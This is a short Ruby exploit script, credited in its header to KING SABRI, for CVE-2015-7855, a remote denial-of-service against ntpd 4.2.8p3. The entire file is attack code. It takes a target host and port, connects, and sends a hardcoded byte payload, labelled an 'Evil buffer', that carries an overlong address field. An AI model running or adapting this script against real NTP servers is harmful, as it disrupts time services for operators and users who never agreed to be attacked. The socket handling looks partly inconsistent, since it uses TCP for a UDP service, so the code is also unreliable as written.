#!/usr/bin/env ruby 
#
# CVE-2015-7855 | ntpd 4.2.8p3 remote DoS
# KING SABRI | @KINGSABRI
# 
require 'net/http'

if ARGV.size >= 1
  host   = ARGV[0]
  port   = ARGV[1] || 123
else 
  puts "ruby #{__FILE__} <TARGET> [PORT]"
  exit
end

payload = 
    "\x16\x0a\x00\x02\x00\x00\x00\x00\x00\x00\x00\xa0\x6e\x6f\x6e\x63\x65\x3d" +
    "\x64\x61\x33\x64\x35\x64\x30\x66\x66\x38\x30\x38\x31\x65\x63\x38\x33\x35" +
    "\x32\x61\x32\x32\x38\x36\x2c\x20\x66\x72\x61\x67\x73\x3d\x33\x32\x2c\x20" +
    "\x6c\x61\x64\x64\x72\x3d\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39" +
    "\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39" +
    "\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39" +
    "\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39" +
    "\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39" +
    "\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39" +
    "\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39"


puts "[*] Target: #{host}:#{port}"
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] Sending Evil buffer..."
s.send(payload, 0)
s.close